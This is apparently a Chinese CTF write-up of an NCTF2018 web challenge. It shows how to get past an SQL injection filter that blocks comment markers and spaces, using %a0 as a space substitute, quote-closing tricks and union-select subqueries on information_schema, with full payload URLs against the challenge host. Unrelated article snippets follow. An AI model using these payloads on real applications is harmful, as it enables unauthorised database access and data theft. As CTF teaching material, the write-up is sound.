sql注入过滤了#,--+怎么办
题目是NCTF2018的web题目
①#
?id=1'会直接出来报错提示。
猜测使用单引号保护id。
另外一打空格就提示you hacker,空格在尾部是不会提示的,猜测用了去除尾部的空格的函数trim()。
空格的过滤绕过
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ ()
挨个试就行,最好不要用(),因为拼接什么的挺麻烦的
发现%a0 %0b () 没有被过滤,就用%a0吧
另外还发现了过滤了截断符号%23,#,--+
过滤了截断符号后,我们怎么来绕过最后的那个单引号呢?
常见的sql查询语句:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
我指的单引号就是$id'的这个单引号,一般我们会用#注释掉,现在没法注释掉后,应该怎么办呢?
我们来看个sql:
参数?id=1'',sql语句仍然能执行成功,题目中也是如此。
当有一个'时,这一个'会落单报错,但是当有一个和他一起闭合时就不报错了
只要'能匹配,多少个'都没有事。
select '' 这样虽然查询为空,但是是不报错的。
我们输入 ?id=1'' ,会发现不报错了已经,但是我们尝试?id=1' or 1=1'
发现出错了。是因为只能直接用在select中,注意是直接。
?id=1'' 查询语句变为select * from user where id='1''' LIMIT0,1 可以
?id=1' and 1=1' 查询:SELECT * FROM users WHERE id='1' or 1=1'' LIMIT 0,1 不可以
id=-1' union select 1,2,3' 可以
所以说是直接在select中
我们本来要靠order by来猜多少个字段,现在不行了直接根据这个来猜:id=-1' union select 1,2,3'
id=1'%a0union%a0select%a01,2,3',其实这里也不用猜,很明显了,输出了三个字段。
查询所有数据库
select * from user where id='-1' union select group_concat(schema_name),2 from information_schema.schemata'发现又遇到了上边的情况了
'匹配只能直接在select中,
这里的解决方法使用到的子查询
select * from user where id='-1' union select (select group_concat(schema_name) from information_schema.schemata),2,这样'不就直接在select语句里了。
总结一下,select ''就是查询一个空值,和select1,2,3本质是一样的,所以不会出错,当''没有被select,就相当于一对孤零零的引号,所以会出错。
②#
今天又学到一个新的思路,就是不用select子查询,用and'闭合。
?id=1%27%a0union%a0select%a0(select%a0group_concat(schema_name)%a0from%a0information_schema.schemata),2,3%a0and%271
实际句子就是select1,2,3 from infor....#
变为 select1,2,3 from infor.... and'1' 这样也可以把最后的单引号闭合
这样一来那些order by,and 1=1,and 1=2就可以正常使用判断注入点了
http://ctfgame.acdxvfsvd.net:20001/index.php?id=1%27%a0or%a01=2%a0and%a0%271
http://ctfgame.acdxvfsvd.net:20001/index.php?id=1%27%a0or%a01=1%a0and%a0%271
这个语句就可以判断注入点。
sql注入过滤了#,--+怎么办的更多相关文章
- sql注入过滤的公共方法
/// <summary> ///SQL注入过滤 /// </summary> /// <param name="InText">要过滤的字符串 ...
- 【转载】C#防SQL注入过滤危险字符信息
不过是java开发还是C#开发或者PHP的开发中,都需要关注SQL注入攻击的安全性问题,为了保证客户端提交过来的数据不会产生SQL注入的风险,我们需要对接收的数据进行危险字符过滤来防范SQL注入攻击的 ...
- php防sql注入过滤代码
防止sql注入的函数,过滤掉那些非法的字符,提高sql安全性,同时也可以过滤XSS的攻击. function filter($str) { if (empty($str)) return false; ...
- Python sql注入 过滤字符串的非法字符
#coding:utf8 #在开发过程中,要对前端传过来的数据进行验证,防止sql注入攻击,其中的一个方案就是过滤用户传过来的非法的字符 def sql_filter(sql, max_length= ...
- 防止sql注入,过滤敏感关键字
//sql过滤关键字 public static bool CheckKeyWord(string sWord) { //过滤关键字 string StrKeyWord = @"select ...
- SQL注入(过滤空格和--+等注释符)
1.地址:http://ctf5.shiyanbar.com/web/index_2.php(过滤了空格和--+等注释符) 思路:确定注入参数值类型,直接输入单引号,根据报错信息确定参数值类型为字符型 ...
- java过滤防止sql注入过滤
/** * 过滤特殊字符 * @author: Simon * @date: 2017年8月31日 下午1:47:56 * @param str * @return */ public static ...
- 【数据库】 防止sql注入,过滤敏感关键字
private bool FilterIllegalChar(string sWord) { var result = false; var keyWord = @"select|inser ...
- 【记录】SQL注入过滤源码分享
$id=check_addslashes($_GET['id']);$id= preg_replace('/o*r/i',"", $id); //strip out OR (non ...
随机推荐
- Reduce侧连接
1.reduce side join 在reduce端进行表的连接,该方法的特点就是操作简单,缺点是map端shffule后传递给reduce端的数据量过大,极大的降低了性能 连接方法: (1)map ...
- MVC 控制器向View传值的三种方法(转)
1.提供视图模型对象 你能把一个对象作为View方法的参数传递给视图. public ViewResult Index() { DateTime date = DateTime.Now; return ...
- linux 命令——5 rm(转)
昨天学习了创建文件和目录的命令mkdir ,今天学习一下linux中删除文件和目录的命令: rm命令.rm是常用的命令,该命令的功能为删除一个目录中的一个或多个文件或目录,它也可以将某个目录及其下的所 ...
- ABAP Netweaver和Cloud Foundry上的环境变量Environment Variable
Netweaver 更准确的说应该是系统变量:结构体sy 设一个断点,调试器里看这些字段的值就能知道每个字段是用来做什么的. sy-dbsys sy-sysid sy-opsys sy-saprl s ...
- 【洛谷5358】[SDOI2019] 快速查询(模拟)
点此看题面 大致题意: 有单点赋值.全局加法.全局乘法.全局赋值.单点求值.全局求和\(6\)种操作.现在给出操作序列,以及\(t\)对正整数\(a_i,b_i\).让你处理\(t*q\)次操作,每次 ...
- THinkPHP 5.0 域名路由
ThinkPHP支持完整域名.子域名和IP部署的路由和绑定功能 要启用域名部署路由功能,首先需要开启: 'url_domain_deploy' => true 定义域名部署规则支持两种方式:动态 ...
- C# 常用函数和方法集汇总
1.DateTime 数字型 System.DateTime currentTime=new System.DateTime(); 1.1 取当前年月日时分秒 currentTime=System.D ...
- 前端异常日志监控 - 使用Sentry
背景 现在的前端项目越来越复杂,在不同的客户端会产生各种在开发人员机器上不会出现的问题.当用户报告一个问题给开发人员的时候,开发人员无法直接定位问题.在此前,听过一次鹅厂的前端人员,他们对QQ里面的网 ...
- head与body(新手向)
网页文档包含了页头(head)与主体(body) 页头 -是对该网页文档进行描绘的主体信息. -至少含有title与meta. meta描述网页的特征,比如字符编码,平时广泛用的utf-8.且meta ...
- RSA等非对称加密为什么要用公钥加密,而用私钥解密?
1.RSA是不对称加密算法,它的公钥可能会被多人持有(公钥公钥,公开的密钥),而私钥只有一人拥有,例如支付宝开放平台,私钥只有支付宝公司持有,而公钥则是所有接入它API的公司都能得到.对于公钥加密的信 ...